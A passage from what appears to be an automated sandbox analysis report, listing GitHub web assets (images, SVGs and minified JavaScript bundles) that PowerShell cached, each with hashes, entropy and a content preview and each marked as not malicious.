File Type:	PNG image data, 1208 x 804, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	35090
Entropy (8bit):	7.952646273197725
Encrypted:	false
SSDEEP:	768:ULquY9JUjcLF8knROCmnKX8vPUCvttyZiqQjUglLGEpUzy+w:Mq5JO0FDR/mnrEMvCGo9dJw
MD5:	3FA431997A8B00D70005EAFE8D58D55E
SHA1:	A3B8E0E8B1690B790F2025B335DC48770503C78B
SHA-256:	F3A7C49D6E07BB965658AE5A0E57B5944FA157FE70C7786D16331FADAD73C7B3
SHA-512:	ACB172724828DD1EFBEFC4ACCAA8457F243139EDDA1F98578690FE25BFCB14F448EC4D3AAC9D32B64D12F8A4CAE6D18C70FD7AC6D3623AF48E79DEEEB2FE85F2
Malicious:	false
Preview:	.PNG........IHDR.......$......xi.....PLTE...DMVDLWHPXDLVENWEKWEMWDMWPPP"'.-3;DLV...v..4}9.SK]fp...MU^=DM7>Glx.mw.BJS...alx......5;D}..LU_q}....}..<DL'-4W`kWaku.....Q[ek89EMU...GOY..... ...fr~...3:A28A...U]g...;,2.NGW^genxy...HD....0...R[f.PI+08.==......28@......ELV...hq{eoy...+16......do{ELT,26.C@:-2. #.BA......G/4'-5&)-S26_57.. 6=F.f.eoxmy.S25[epHQ[#02..._gq\fr....KE#,/$2/$362s8pz.<CJ',1\gq3x8?GP#'\gr.##)/3!%(...r~..'(.. .@>&6:...w:; #&...EB;BKgq{0k7+R4.+,.=<...,>C*M2'?1)G2]en+9>ht.EGI.<6-]5..#LLO89<......@GQMVaBIS.......defLj{Hbr.FB...':B.-0('(............@?,W4...B?@+-....prs2DN1CHw;;-W4..........c5.@>...Vp~_jvoim@R`d~.6Uf.7-Zv.~zz@Zi7LYx99.8/gmr.....?]qSTV2)).C:.....vzz`^a[]`;JPc=<?-(cK.......l..UisXX\.:5.5/.].........^nxP-).L"......z]8m42`3+...z...e^cRRWH'k)#.^....m.zKs9.:7./'t>;.......tRNS.. .o.p.........IDATx.........................................................................`v... .....c..#$.2:....u....;.....$.K...hv9..O....................\|zS.."...4...>>-...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-secret-scanning-2-88fb429376d6[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1208 x 804, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	37410
Entropy (8bit):	7.963914193340189
Encrypted:	false
SSDEEP:	768:ZOzm0QZm63qHBZaTCmnrcIg0FVY3E0On+CkdvM0NsuvBq9hbebz:CGqHLaTFrcIPFV+E0Ondk5NJvQf4
MD5:	4D49045933CB7FDF5E7FAE8EBE1D6AED
SHA1:	A80B8D9D7A897AE1F0F0B2A3BA6B885A9EB8B2EC
SHA-256:	8CB4DE5A334470730D2137483617E99FEC4C0007A041C249CDA5D09FA6614FE4
SHA-512:	1E244A9461C6B7F9DEC8B2941C5028D9AACC8E8FA20A6806008AC1D4E94CD841BC48B2D132C722525CDF7F74D57A879FBA28349C9F583CCFADCDDA0E15A0D05F
Malicious:	false
Preview:	.PNG........IHDR.......$......xi.....PLTE...BJS$(0>FN>EN<DM=DL:AJ<CLFMUBJSBKTCKSCJSLFM6=E8?G:AI9@ICIRBJSAIRBJS$)/$)/\79.XO8?G$)0i:;DLV...3:A...BJSG26U68&1+17',2(-3....TM37=\|??-3:...6<F/6>.yr/6(.5,1959??FRUY^9?JRW\16;/49#+3.4<PYg...#8P#6L"L\|<DO..aHQ^r..5;D#9ST^n/4EN[$2C#/>`k.NWe#,7Ydu.qj:AL..."N.}..@HUz..co.#4G#:Vu..JR`.[Rw.........#.:Var^i\|PTY\gy17@.^ULUc28Afr."Fpkx.\|...d[9=C... %o\|.mz.y..>BH......Q[k"Iw.iu.MQVS[i.mebAC.[...i`....{a79."Ci#?`.aX..2......\|...vp.~vz}.JNS...<37.cfkX\a...iFH.........tXZ...S=@DHMBFKP/0.......}vHMR..umO47.........YT<.neA.sm.........wLLosw.tv...a^.PPJ..jmq....UT....]nIJ...,<K>k..hj.[625.mh......W......^af}ceoPR213.^[.id.....JG8...9^zQ..Ez.GLQFJO....eb4Ri.\|}....pk.YWsvz0FY.X.mn..M...oj..U>>5..Sm=>....ng.Z[.\|H~qE....P..M....K........tRNS..@..wkT_.:+.I..........-......IDATx.........................................................................`v. .a .....TwN.........z......"..9...................................X\|y....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\kpmg-c249f20c5173[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2777
Entropy (8bit):	4.539398110566625
Encrypted:	false
SSDEEP:	48:P+TlHaUKX6pBJ1TdgyzOdtQwK9LwDLP0Ih8SIzK9pehbzXN/2ipVrRTi2ePemFGr:2TlS6rBFad1K9LIicobz9tVrA2ePe+Gr
MD5:	98F01D66C92682E61BC11AE3CD3B6440
SHA1:	3BB38749F5DF3BF337E50B8EC15C71DB596E3843
SHA-256:	8D677744AA02E3E4EEE3C5F845927A11777E3AE225B89BD98F678C5061C72611
SHA-512:	C249F20C51734FDA71A69EB5B5626F6B39422FB888E9D433E66FF829C6B2DAC8A5AEDC964EAD2F23EE3A4D3822ABC6696615EF54F9805FB35C6A96570B4D9D61
Malicious:	false
Preview:	<svg width="100" height="41" viewBox="0 0 100 41" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_822_68764)">.<mask id="mask0_822_68764" style="mask-type:alpha" maskUnits="userSpaceOnUse" x="0" y="0" width="100" height="41">.<path d="M0 0.142822H99.5943V40.1428H0V0.142822Z" fill="white"/>.</mask>.<g mask="url(#mask0_822_68764)">.<path d="M99.2028 30.5934H94.0143L94.8715 27.1714H84.4556L83.602 30.5934H78.5721V29.8907C78.6497 29.5043 78.7168 29.1002 78.812 28.668C79.7291 24.979 82.1593 21.3322 86.3673 21.3322C88.0321 21.3322 89.6864 21.9646 89.4607 24.2588H95.6509C95.8943 23.1872 96.3035 21.3638 95.136 19.6914C93.8168 17.8714 91.1573 17.1407 87.7112 17.1407C85.2421 17.1407 81.6691 17.5306 78.5721 19.5474V0.926309H99.2028V30.5934ZM87.0269 35.6071C85.8837 35.8252 84.7235 35.9428 83.5596 35.9584C80.5863 35.9584 78.5157 34.5811 78.4735 31.3699H88.0816L87.0269 35.6071ZM75.1401 18.6655V22.9167C73.8561 24.6834 72.9235 26.6786 72.3925 28.7946C72.2368 29.3848 72.1271 29.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\sessions-f3ddee0032e4[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11824)
Category:	dropped
Size (bytes):	11874
Entropy (8bit):	5.308220828992334
Encrypted:	false
SSDEEP:	192:K0nPtj8glgCYTjuktu7dY0pfRYDISMZuy4Gff2s46rnlsMj0YS/OCvzr2:xoglg3bCY0pJ6IvcTGfPhrlsW0Y/p
MD5:	1A8C5A95DEA77E508A929C56F9D2F273
SHA1:	AB71BEACC9581F493F72222BCBDF456E22C5BC6B
SHA-256:	B0F10E23B51768E0EAE36C6E86D09F78BC2828F973D6E43C312D605DA02D2340
SHA-512:	F3DDEE0032E45896F331EBDB2B7146F88E65EE382BEAA13E04A46D59E49EECFBAB8F1A255B470C66A4F3820533F8F14FF65D3BD054C20D83444F02308400940C
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["sessions"],{68309:(e,t,n)=>{n.d(t,{Cg:()=>s,R1:()=>d,s:()=>u});var o=n(79049),r=n(21403);let i="github-mobile-auth-flash";function a(){let e=document.querySelector("#js-flash-container");if(e)for(let t of e.children)!t.classList.contains("js-flash-template")&&t.classList.contains(i)&&e.removeChild(t)}function s(){let e=document.getElementById("github-mobile-authenticate-prompt");e&&(e.hidden=!0);let t=document.getElementById("github-mobile-authenticate-error-and-retry");t&&(t.hidden=!1)}function u(){a();let e=document.getElementById("github-mobile-authenticate-prompt");e&&(e.hidden=!1);let t=document.getElementById("github-mobile-authenticate-error-and-retry");t&&(t.hidden=!0)}function c(e){e&&function(e){let t=new o.i4(document.querySelector("template.js-flash-template"),{className:`flash-error ${i}`,message:e}),n=document.importNode(t,!0),r=document.querySelector("#js-flash-container");r&&(a(),r.appendChild(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\shape-2-f30dcc9bd35c[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.999048556205676
Encrypted:	false
SSDEEP:	24:tCzClu5yL0uk1lKzk1l6/k1lCqek10ldk1cGoHW3k1cNvhCk1IBsH/zztHm:+CTi5dd97UBsGGzA
MD5:	C824EC6F74C52B482E8565D0C9EACEB4
SHA1:	3B85EF10D21C15EBDC9F3E7FD3348F7E29A3F4C9
SHA-256:	070CA1AF30383E9376A8461232DEFC54D6A26D921ED0928BD46150C1AE372070
SHA-512:	F30DCC9BD35CFE7555EF0EB340643E5E255BC36EC6C81E66A2A7EAB9E504201926C04507CA8B9C36226F2A99933A26600DDFE55C742C5AFEEA43DDE0C58D2739
Malicious:	false
Preview:	<svg width="844" height="844" viewBox="0 0 844 844" fill="none" xmlns="http://www.w3.org/2000/svg">.<g opacity="0.2">.<rect x="1.66113" y="421.801" width="198.369" height="198.369" transform="rotate(-45 1.66113 421.801)" stroke="white"/>.<rect x="282.198" y="421.8" width="198.369" height="198.369" transform="rotate(-45 282.198 421.8)" stroke="white"/>.<rect x="282.196" y="702.336" width="198.369" height="198.369" transform="rotate(-45 282.196 702.336)" stroke="white"/>.<rect x="282.194" y="141.268" width="198.369" height="198.369" transform="rotate(-45 282.194 141.268)" stroke="white"/>.<rect x="562.729" y="421.803" width="198.369" height="198.369" transform="rotate(-45 562.729 421.803)" stroke="white"/>.<path d="M213.097 490.903L353.365 631.171" stroke="white"/>.<path d="M494.457 209.541L521.932 237.016C546.292 261.376 546.292 300.871 521.932 325.231L494.044 353.12" stroke="white"/>.<circle cx="282.231" cy="421.801" r="11.7262" transform="rotate(-45 282.231 421.801)" fill="white"/>.<c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\shape-3-9e542b5c31b8[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	4.369917344666329
Encrypted:	false
SSDEEP:	48:BKVkZbroNqZDAKAz7m6VPOs6PQ/RqR1bG:MqKNqZ8Hz7mKko/ADG
MD5:	CABADF46D4C78535BB4219673555C7C7
SHA1:	EA374BC8ABC763F2F58B2D30F9368F6E35D4F97E
SHA-256:	B36B85FB5A07A76AB9265628748A544DED578DA0110909E01D15A34BD6B91CFC
SHA-512:	9E542B5C31B881D48EF220F3BB6B597D860462557AF98403BE256A022DBDF991015895366C3A6DAFBD036A2F5AAFCC5D5E3FE5EC9F60265730606CD907AEC91B
Malicious:	false
Preview:	<svg width="504" height="737" viewBox="0 0 504 737" fill="none" xmlns="http://www.w3.org/2000/svg">.<g opacity="0.3">.<path d="M492.12 492.445L492.404 245.821L343.498 245.653C330.78 245.639 318.19 243.119 306.446 238.239C294.702 233.359 284.035 226.213 275.052 217.21C264.802 206.901 256.994 194.424 252.205 180.697C247.416 166.97 245.767 152.344 247.38 137.896C247.853 133.57 248.101 129.222 248.122 124.871C248.417 57.7816 193.078 1.64893 126.018 1.00579C57.0692 0.345268 0.994536 56.2926 1.50441 125.242C1.9969 192.325 58.002 247.768 125.091 247.623C129.401 247.611 133.708 247.379 137.995 246.928C152.488 245.345 167.153 247.031 180.909 251.863C194.665 256.695 207.163 264.55 217.483 274.85L217.894 275.261C235.724 293.124 245.728 317.338 245.706 342.576L245.596 441.214C245.575 456.868 239.339 471.873 228.26 482.931L227.831 483.36C219.872 491.264 209.831 496.745 198.878 499.163C187.924 501.58 176.509 500.836 165.962 497.016C152.321 492.13 137.924 489.688 123.434 489.803C55.8757 490.272 1.127

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\sindresorhus-d3224f241a4d[1].jpg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 192x192, components 3
Category:	dropped
Size (bytes):	5708
Entropy (8bit):	7.917730930054202
Encrypted:	false
SSDEEP:	96:WhNAwGNaSHd6VfqLt461L7mLJLRDpD151jdUucVl3PfQnBpVoDyyBQK6x9ksB+dt:ENawId6cLt4Q7mLLFDtaucVlwuDyyBQu
MD5:	07366E15318BB57A41539022AFA5AA28
SHA1:	CCC9D5C5621A78F923787A99B1BD9B7EAFBC5E58
SHA-256:	F8BCE6856E8205023F00ED8E40B36FB4D3D110D54DED561BFF161CB387416A76
SHA-512:	E4C8133E991656B199C3A5CD816D2CD197F9BEC931B7165A5AD391613C2CF24CADDDB79E70590D59C7E357347C070306C360BC99B64C9813769F09A4E90A0A90
Malicious:	false
Preview:	......JFIF................................................. $.' ",#..(7),01444.'9=82<.342...........2!.!22222222222222222222222222222222222222222222222222..........."..............................................................!.1A.Q."aq.2..#BR..$....r3Cb..................................................!.1...AQ"2..Ba..............?..Rue..p......[~.....B..H..).O.....)..^y........_.(?...o...V..&N.....U.Z..8u...d8........S...l...].8...6...h....2.G..#.C.....:lH2...P........g#....}3.g.Vl$.H..D/n....+!...FX...]0.P.F>.._..1.7Wc#.o...a...D.d...tKT9_..;R..9.....d@........F.1...4..1{ca.4.KA...6...../~.S...=Xx..P.E...n..5K/.[..#.T...Tw.?z....c.Jh...w.O.....;..C[X.".$.. d..#.o......,1.x..r.'.2..%..R...e\|....k]....-.7.p.v...6...m\..R...Jm.z..a....O.q.......m..D.sr#f..q..>....Bc4....`.`....UP\|.-...fV.r.7.....7-h.My.....<...r....x5.......i.<`g..XK.GV...Z.=.3....\|....f......N...*N. ..._qV.}Q...z.{r..8.y.......T.."Q ,>..........T.g^.~e_.[..B.U...>\|r...Lz.y4-.mc...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\ui_packages_updatable-content_updatable-content_ts-3f4401350bd7[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9719)
Category:	dropped
Size (bytes):	12475
Entropy (8bit):	5.345599799015319
Encrypted:	false
SSDEEP:	384:m4XrTrQM0STK8uZeSqSgtfitZR+VeYqa8ToFlGZu:/I+K8ye9SgtfiLRha8TovGZu
MD5:	FB17DEE4F53D0BBAB48142B0346696E2
SHA1:	487BC2510708C4BBC0200938417EBA04E0FC23C5
SHA-256:	0292F0115D49592140765C755E25D4391A280094E8492B36986AEE28670E9CE4
SHA-512:	3F4401350BD7C887EB798D2DAD80B84742FFB948051C33D8B86A2349FA88A763DEA27E60F735B45F50B53BD1F515B7B28E1F100FDC7D7EB298DA7BB573A921EC
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_updatable-content_updatable-content_ts"],{8968:(e,t,n)=>{let r,o;n.d(t,{Gu:()=>c,c8:()=>f,g5:()=>p});var i=n(97156);let a=[],l=0;function c(){return r}function s(){try{return Math.min(Math.max(0,i.Kn?.length\|\|0)\|\|0,9007199254740991)}catch(e){return 0}}function u(e){r=e;let t=i.fV?.href;a[s()-1+l]={url:t,state:r},a.length=s(),i.cg?.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}function d(){return new Date().getTime()}function f(e,t,n){l=0;let r={_id:d(),...e};i.Kn?.pushState(r,t,n),u(r)}function p(e,t,n){let o={...r,...e};i.Kn?.replaceState(o,t,n),u(o)}r=function(){let e={_id:new Date().getTime(),...i.Kn?.state};return u(e),e}(),i.cg?.addEventListener("popstate",function(e){let t=e.state;if(!t\|\|!t._id&&!t.turbo?.restorationIdentifier)return;let n=t.turbo?.restorationIdentifier;a[s()-1+l-1]?.state?.turbo?.restorationIdentifier===n?l--:l++,u(t)},!0),i.cg?.addEventListener("tur

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_color-convert_index_js-0e07cc183eed[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (13195)
Category:	dropped
Size (bytes):	13280
Entropy (8bit):	5.378874774488418
Encrypted:	false
SSDEEP:	192:guNUZbzjKoRDgo8P5MQzSwTVlDr7N0mSNeAPtyq86/Wt1E8FAo7n6vDZ:lGB9Ngo8WoTVF7N0K6W9FDn6F
MD5:	B36809A997CE5E5AD8B0B4F661CE60D1
SHA1:	FFF11CFD01B744A770DE926E13DDE8F546E565E7
SHA-256:	687890A8B37083FCBD85FE5FCD960A6D80378B01A5F86287F207BB7C807B5EE8
SHA-512:	0E07CC183EED2B6D1302E51254F6B4F204A920873DADD83581483D52BF9A2E6537EBBB0417EB04567411DAC64232653A0D046ABF2C31C4809BC72FC6603B0749
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_color-convert_index_js"],{15659:(e,n,t)=>{let r=t(51031),l={};for(let e of Object.keys(r))l[r[e]]=e;let a={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(let n of(e.exports=a,Object.keys(a))){if(!("channels"in a[n]))throw Error("missing channels property: "+n);if(!("labels"in a[n]))throw Error("missing channel labels property: "+n);if(a[n].labels.length!==a[n].channels)throw Error("channel and label counts mismatch: "+n);let{channels:e,labels:t}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-bf7e5a3732fd[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11533)
Category:	dropped
Size (bytes):	11676
Entropy (8bit):	5.22825491629773
Encrypted:	false
SSDEEP:	192:5TLt/MPHQGwYE7NHe/GrLB/FKcynzJ2Cus4gtYQbtmKyjwDYf7tGhoDwNqkZ1t:n0dE7NHeurLB/wcyzJ2C0sbkKqaYf59g
MD5:	57ADE457A2DB48CE3827ACACA61735C3
SHA1:	FA201F97596C327AC68BF39600E91F3EDCED1368
SHA-256:	6E2D6A3EFF85E0161488A91B33EC517D2AA727580A74BE88666B47A0B4459A71
SHA-512:	BF7E5A3732FD2F07F6B274BEB43D15397F077FC66BEEDE98F59A295819DFD2814C935729244FD1EAA99A6788810B64CC00E57C846F3B0C02FA6AC514FFD2A3B6
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff530"],{97797:(e,t,n)=>{function o(){if(!(this instanceof o))return new o;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}n.d(t,{h:()=>O,A:()=>E,on:()=>C});var r,a=window.document.documentElement,i=a.matches\|\|a.webkitMatchesSelector\|\|a.mozMatchesSelector\|\|a.oMatchesSelector\|\|a.msMatchesSelector;o.prototype.matchesSelector=function(e,t){return i.call(e,t)},o.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},o.prototype.indexes=[];var s=/^#((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;o.prototype.indexes.push({name:"ID",selector:function(e){var t;if(t=e.match(s))return t[0].slice(1)},element:function(e){if(e.id)return[e.id]}});var

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_dompurify_dist_purify_js-b73fdff77a4e[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (21472)
Category:	dropped
Size (bytes):	21559
Entropy (8bit):	5.41822175484504
Encrypted:	false
SSDEEP:	384:3zGH/JJvGQHv8nlMGOM4d2fSmIMIZkFnQkNug1jbpgEh1mBwKtMmglj:KfbGAv8lMGOZdUSmtAkFnQeGk1mBwogd
MD5:	383E44DCCC233540968ACB7FEF070359
SHA1:	18A5430A0B2CA2BF000D86E08C54506A353D7C05
SHA-256:	E099BA09D44EDCDDF0DE12AA96DBC7AAE4B03749E57B865B7310D1B1CB6A8484
SHA-512:	B73FDFF77A4E401513D1F7F003641C229D65E0DAC7F94754956CD8006E8CCCB576907EBD697DC75E857CED074381175DB487EA75BBA2CCC8238E913E20FC23A1
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_dompurify_dist_purify_js"],{42838:function(e){var t;t=function(){"use strict";let{entries:e,setPrototypeOf:t,isFrozen:n,getPrototypeOf:o,getOwnPropertyDescriptor:r}=Object,{freeze:i,seal:a,create:l}=Object,{apply:c,construct:s}="undefined"!=typeof Reflect&&Reflect;i\|\|(i=function(e){return e}),a\|\|(a=function(e){return e}),c\|\|(c=function(e,t,n){return e.apply(t,n)}),s\|\|(s=function(e,t){return new e(...t)});let u=N(Array.prototype.forEach),m=N(Array.prototype.pop),p=N(Array.prototype.push),f=N(String.prototype.toLowerCase),d=N(String.prototype.toString),h=N(String.prototype.match),g=N(String.prototype.replace),_=N(String.prototype.indexOf),y=N(String.prototype.trim),T=N(Object.prototype.hasOwnProperty),E=N(RegExp.prototype.test),A=(X=TypeError,function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return s(X,t)}),b=N(Number.isNaN);function N(e){return function(t){for(var n=arguments.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_github_auto-complete-element_dist_index_js-a164c5ea9f62[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (14095)
Category:	dropped
Size (bytes):	14200
Entropy (8bit):	5.05958397255301
Encrypted:	false
SSDEEP:	384:3SN4UTw+I69OD1cFNEG/ApDCMBzeF6wxITvl5sG9XVyPwf:3SN4UU56gZcFNEG/hnwTHsG9lhf
MD5:	203CB83362A88A295C23C88E26320253
SHA1:	BA89A34554422D79C91873FDF7116CF9E4CAF1C7
SHA-256:	A3C06FD5154472E1D8C8CBF2105912205A4FC75B9B6A75B273859EDC30BFBE9D
SHA-512:	A164C5EA9F62FCE49AE15EB21BD3F1A3BDDC116674E712F7A53053FB64ADE3C0AAEE903A8D841AD82F8A54E658F3BB877076DE25AC69437FF5529A3E4AAABA95
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_auto-complete-element_dist_index_js"],{96907:(t,e,i)=>{i.d(e,{Ay:()=>E});let Combobox=class Combobox{constructor(t,e,{tabInsertsSuggestions:i,defaultFirstOption:s,scrollIntoViewOptions:o}={}){this.input=t,this.list=e,this.tabInsertsSuggestions=null==i\|\|i,this.defaultFirstOption=null!=s&&s,this.scrollIntoViewOptions=null!=o?o:{block:"nearest",inline:"nearest"},this.isComposing=!1,e.id\|\|(e.id=`combobox-${Math.random().toString().slice(2,6)}`),this.ctrlBindings=!!navigator.userAgent.match(/Macintosh/),this.keyboardEventHandler=t=>(function(t,e){if(!t.shiftKey&&!t.metaKey&&!t.altKey&&(e.ctrlBindings\|\|!t.ctrlKey)&&!e.isComposing)switch(t.key){case"Enter":n(e.input,e.list)&&t.preventDefault();break;case"Tab":e.tabInsertsSuggestions&&n(e.input,e.list)&&t.preventDefault();break;case"Escape":e.clearSelection();break;case"ArrowDown":e.navigate(1),t.preventDefault();break;case"ArrowUp":e.navigat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401-bb66ac5d7472[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11341)
Category:	dropped
Size (bytes):	13148
Entropy (8bit):	5.179999523091327
Encrypted:	false
SSDEEP:	192:+weacBnEvIjvs4g3FbtmKyjKg3rfPHZyho+wNOZfLK84fzoUmvidYPO:+wbcBEvI3KbkKqDrf/Zx+LZfuNmVPO
MD5:	A44F9EB3477A549A8450000161107F30
SHA1:	8C33E52E5302530FC81B1778B481FEC3CC87CFD4
SHA-256:	786A1AB4E59176383051C433F6803078E766240ADE009ED5EF95A125049B886B
SHA-512:	BB66AC5D7472C636FF906407E806667E737037673E60DA2DA8A825168EE04BF3298E47CCB0DD0A439251F8DF9AA58B236686C88A5FCA47D330844EEFBCACFBD3
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401"],{39595:(e,t,n)=>{let o;n.d(t,{CF:()=>m,p_:()=>C,FB:()=>h,Se:()=>T,aC:()=>v,zV:()=>E});let i=new WeakSet,r=new WeakMap;function a(e=document){if(r.has(e))return r.get(e);let t=!1,n=new MutationObserver(e=>{for(let t of e)if("attributes"===t.type&&t.target instanceof Element)d(t.target);else if("childList"===t.type&&t.addedNodes.length)for(let e of t.addedNodes)e instanceof Element&&s(e)});n.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});let o={get closed(){return t},unsubscribe(){t=!0,r.delete(e),n.disconnect()}};return r.set(e,o),o}function s(e){for(let t of e.querySelectorAll("[data-action]"))d(t);e instanceof Element&&e.hasAttribute("data-action")&&d(e)}function l(e){let t=e.currentTarget;for(let n of c(t))if(e.type===n.type){let o=t.closest(n.tag);i.has(o)&&"function"==typeof o[n.method

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841-8f251a0656e7[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (23218)
Category:	dropped
Size (bytes):	23360
Entropy (8bit):	5.135118801392535
Encrypted:	false
SSDEEP:	384:HYpG0mNhQTjmHseBkOhdDD4E9kp+1qoSaUkiyiFEf9mSSlSr3c3jrkU8QGfxWrxu:4kQTLgk+yp+1qoSauyiFglFujrkUhpxu
MD5:	8C557E610C6B359C85F8E2FB2D7D7A89
SHA1:	2047D14A8A0A01A3FEA77DA84585C89B9BD9875F
SHA-256:	1D3779A9C6DD13AF8D7F1E60BE1C2E4F08DCFC03A6921C0A83BE4F49D631CB6B
SHA-512:	8F251A0656E7712B5B54EB6E41E9B4FB2A7F0AE4EE6C65A03ECFC0BAD475FDCC56191FD588D9FBE7F93BDAFD2545D37EDE16BA0E8D03D3F4D2AA986FAB7C9087
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841"],{62044:(t,e,n)=>{n.d(e,{A:()=>s});let FilterInputElement=class FilterInputElement extends HTMLElement{constructor(){super(),this.currentQuery=null,this.filter=null,this.debounceInputChange=function(t){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),t()},300)}}(()=>r(this,!0)),this.boundFilterResults=()=>{r(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(t,e){e&&"aria-owns"===t&&r(this,!1)}connectedCallback(){let t=this.input;t&&(t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),t.addEventListener("focus",this.boundFilterResults),t.addEventListener("change",this.boundFilterResults),t.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){let t=this.input;t&&(t.removeEventListener("focus",this.boundFilterR

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-9a621ecbf672[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (14660)
Category:	dropped
Size (bytes):	14802
Entropy (8bit):	5.192860526555926
Encrypted:	false
SSDEEP:	384:uPhW5ABx7jkqeGC9wsVzrYPx5DkhTP+rrHFoV7u+mvI///XqnUEIhd:ulteu03MZkhGrz+mvI/3K4
MD5:	30BA1437F1E5F2721A1E6EB469C312FC
SHA1:	6C2B88105BFCCC3C939A89AA3F188D85421847BE
SHA-256:	1ED38964199833215C24EB6E0D9F0A59BC3B700D16BC466588556169B77766AD
SHA-512:	9A621ECBF6729E59A07708948FA83A64B47240E824458D83F2191B2B778B1BB6446713176AABEE2BBF4C20148FDC858ACF7B3A121123DB54E629E8DA068006FB
Malicious:	false
